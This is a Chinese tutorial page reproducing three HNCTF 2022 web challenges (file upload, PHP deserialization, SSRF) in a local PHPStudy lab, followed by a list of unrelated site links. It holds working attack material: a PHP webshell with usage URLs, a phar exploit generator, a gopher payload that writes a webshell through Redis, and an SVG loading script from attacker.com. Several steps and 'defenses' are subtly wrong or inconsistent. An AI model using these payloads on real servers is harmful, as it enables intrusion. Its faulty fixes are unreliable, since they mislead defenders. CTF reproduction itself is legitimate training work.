当前位置: 首页 > news >正文

PHPStudy环境下,手把手复现HNCTF 2022的3个典型Web漏洞(文件上传+反序列化+SSRF)

PHPStudy环境下实战复现HNCTF 2022三大Web漏洞

在网络安全攻防演练中,漏洞复现是提升实战能力的关键环节。本文将基于Windows平台下的PHPStudy环境,深度还原HNCTF 2022比赛中easy_upload(文件上传)、easy_unser(反序列化)和ez_ssrf(SSRF)三道典型Web题目的漏洞场景。通过环境搭建、漏洞分析、Exploit编写到最终利用的完整闭环,帮助中级安全研究者建立系统的漏洞复现方法论。

1. 环境准备与靶场搭建

1.1 PHPStudy基础配置

首先下载最新版PHPStudy(v8.1或更高版本),安装时勾选以下组件:

  • Apache 2.4.39
  • PHP 7.3.4(需与题目原始环境版本匹配)
  • MySQL 5.7.26

安装完成后,在php.ini中需要特别开启的关键配置:

allow_url_include = On allow_url_fopen = On display_errors = On short_open_tag = On

1.2 题目环境部署

为每个漏洞创建独立的虚拟主机:

  1. vhosts.conf中添加三个站点配置:
<VirtualHost *:80> DocumentRoot "C:/phpstudy_pro/WWW/easy_upload" ServerName upload.test </VirtualHost> <VirtualHost *:80> DocumentRoot "C:/phpstudy_pro/WWW/easy_unser" ServerName unser.test </VirtualHost> <VirtualHost *:80> DocumentRoot "C:/phpstudy_pro/WWW/ez_ssrf" ServerName ssrf.test </VirtualHost>
  1. 修改本地hosts文件添加域名解析:
127.0.0.1 upload.test unser.test ssrf.test

2. easy_upload文件上传漏洞实战

2.1 漏洞代码分析

upload.test站点部署以下模拟代码:

<?php if(isset($_FILES['file'])){ $tmp_name = $_FILES['file']['tmp_name']; $name = $_FILES['file']['name']; if(move_uploaded_file($tmp_name, "uploads/".$name)){ echo "Upload success! Path: uploads/$name"; } } ?> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <button>Upload</button> </form>

关键缺陷

  • 未校验文件类型和内容
  • 未重命名上传文件
  • 未禁用脚本执行权限

2.2 漏洞利用五步法

  1. 制作PHP webshell:
<?php system($_GET['cmd']); ?>
  1. 使用Burp修改文件类型:
Content-Disposition: form-data; name="file"; filename="shell.jpg" Content-Type: image/jpeg
  1. 上传后访问webshell执行命令:
http://upload.test/uploads/shell.php?cmd=whoami
  1. 获取flag路径:
find / -name "*flag*" 2>/dev/null
  1. 使用蚁剑连接管理:
  • 连接URL:http://upload.test/uploads/shell.php
  • 密码:cmd

实际防御中应配置.htaccess禁止脚本执行:
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi

3. easy_unser反序列化漏洞复现

3.1 漏洞环境构建

部署以下反序列化入口代码:

<?php class VulnerableClass { private $cmd = "id"; function __destruct() { system($this->cmd); } } if(isset($_GET['data'])){ unserialize($_GET['data']); } ?>

3.2 Phar反序列化利用

  1. 构造恶意序列化数据生成器:
<?php class Exploit { public $cmd = "cat /flag"; } $phar = new Phar("exploit.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata(new Exploit()); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
  1. 上传phar文件后触发:
http://unser.test/vuln.php?data=phar://uploads/exploit.phar

绕过技巧

  • 使用preg_replace修改序列化属性数量:
$payload = str_replace(':2:', ':3:', serialize($obj));
  • 利用php://filter链式编码:
php://filter/convert.base64-encode/resource=phar://./exploit.phar

4. ez_ssrf服务器端请求伪造

4.1 模拟内网环境搭建

  1. ssrf.test创建内网服务模拟:
<?php // flag.php (内网服务) if($_SERVER['REMOTE_ADDR'] === '127.0.0.1'){ die("FLAG{THIS_IS_SSRF_FLAG}"); } ?>
  1. 部署存在SSRF的接口:
<?php // ssrf.php if(isset($_GET['url'])){ echo file_get_contents($_GET['url']); } ?>

4.2 多协议利用方案

HTTP协议利用

http://ssrf.test/ssrf.php?url=http://127.0.0.1/flag.php

Gopher协议高级利用

  1. 构造攻击内网Redis的payload:
import urllib.parse payload = """ SET injected_key "<?php system($_GET['cmd']);?>" CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SAVE """ print(urllib.parse.quote(payload.replace("\n","\r\n")))
  1. 发送SSRF请求:
gopher://127.0.0.1:6379/_[编码后的payload]

防御方案对比表

方案类型实现方式优缺点
域名白名单parse_url()校验host无法防御DNS重绑定
IP黑名单过滤内网IP段可能被进制转换绕过
协议限制只允许HTTP/HTTPS无法防御302跳转
请求限制禁用CURLOPT_FOLLOWLOCATION影响正常业务

5. 联合利用与防御加固

5.1 漏洞组合利用案例

  1. 通过SSRF访问本地Phar文件触发反序列化:
http://ssrf.test/ssrf.php?url=phar:///path/to/exploit.phar
  1. 上传包含SSRF payload的SVG文件:
<svg xmlns="http://www.w3.org/2000/svg"> <script xlink:href="http://attacker.com/ssrf.js"/> </svg>

5.2 企业级防御方案

PHPStudy安全配置清单

  1. 修改Apache默认配置:
<Directory "C:/phpstudy_pro/WWW"> Options -Indexes -ExecCGI php_flag engine off </Directory>
  1. 安装开源WAF:
git clone https://github.com/SpiderLabs/ModSecurity cp modsecurity.conf-recommended /path/to/modsecurity.conf

在漏洞复现过程中,建议使用VirtualBox快照功能保存不同阶段的实验环境状态。遇到问题时,可参考PHP错误日志路径:C:/phpstudy_pro/Extensions/php_logs/php_error.log

http://www.jsqmd.com/news/993843/

相关文章:

  • 如何把企业战略一步步拆解成 组织能力、人才能力和培训计划?
  • 华硕笔记本性能调优终极指南:G-Helper 5分钟快速上手教程
  • 汽修加盟排行榜优质品牌盘点 靠谱连锁品牌推荐 - 品牌测评鉴赏家
  • Umi-OCR PaddleOCR引擎识别异常:从诊断到修复的完整解决方案
  • 5分钟掌握layerdivider:从单图到多层的智能图像分层技术深度解析
  • 别再死磕传统成像了!用MATLAB从零复现鬼成像(附GI、DGI、NGI完整代码)
  • 2026 南京黄金回收 TOP 级门店:收的登顶顶第一! - 奢侈品回收评测
  • 革命性UEFI启动管理工具:EFI Boot Editor一站式解决方案
  • 2026国内广东歌东莞表面处理化学品、塑料改性添加剂厂家首选东莞硕美 - 变量人生001
  • Vue项目里用SM4加密用户密码,我是这么和后端联调的(附完整代码)
  • MATLAB版移动渐近线法(MMA)拓扑优化核心求解器,含完整测试例程与清晰注释
  • 低成本K2+Padavan固件,解锁校园网锐捷认证全攻略
  • 温州鹿城区阿南黄金回收附近5公里测评:10家同城上门排行 - 资讯速览
  • 榔行业迎来“升级换代”,五大品牌盘点:哪个最值得创业者押注? - 品牌官
  • 2026年6月常州名表回收机构分级测评:五家平台综合评分参考 - 奢侈品交易观察员
  • 写论文如何又快又好?师姐安利这几个AI论文软件
  • OpenWrt 系统核心配置文件路径全解析:从无线网络到硬件驱动的默认设置
  • UVa 458 The Decoder
  • 收藏!AI时代程序员/小白的职业护城河在哪里?通才+AI底座是关键!
  • 财务报销发票与差旅申请单如何自动比对?2026来也ADP解决方案
  • MPC8260A时钟配置与引脚设计:嵌入式硬件工程师的实战指南
  • 5分钟终极指南:零代码改造Office界面,打造专属办公神器!
  • 河北道路声屏障厂家实测排行:5家合规供货企业盘点 - 起跑123
  • 大模型长文本分块策略与上下文窗口管理的后端架构
  • 接入 Qwen2.5-VL,基于显式空间关系图的 VLM 空间推理诊断实验
  • 从攻击者视角看Nginx:手把手用Burp Suite调试CVE-2013-4547文件名逻辑漏洞
  • 从固件到应用:SMBIOS数据在现代系统中的流转与实战解析
  • 登报遗失声明去哪里办理?2026线上办理流程及避坑指南 - 慧办好
  • Halcon实战:用最小外接矩形和正矩形精准框选瑕疵(附完整代码与效果对比)
  • 2026年安徽省亳州初中生异地择校,公办安徽建工技师学院学费全免,名额可登记 - cc江江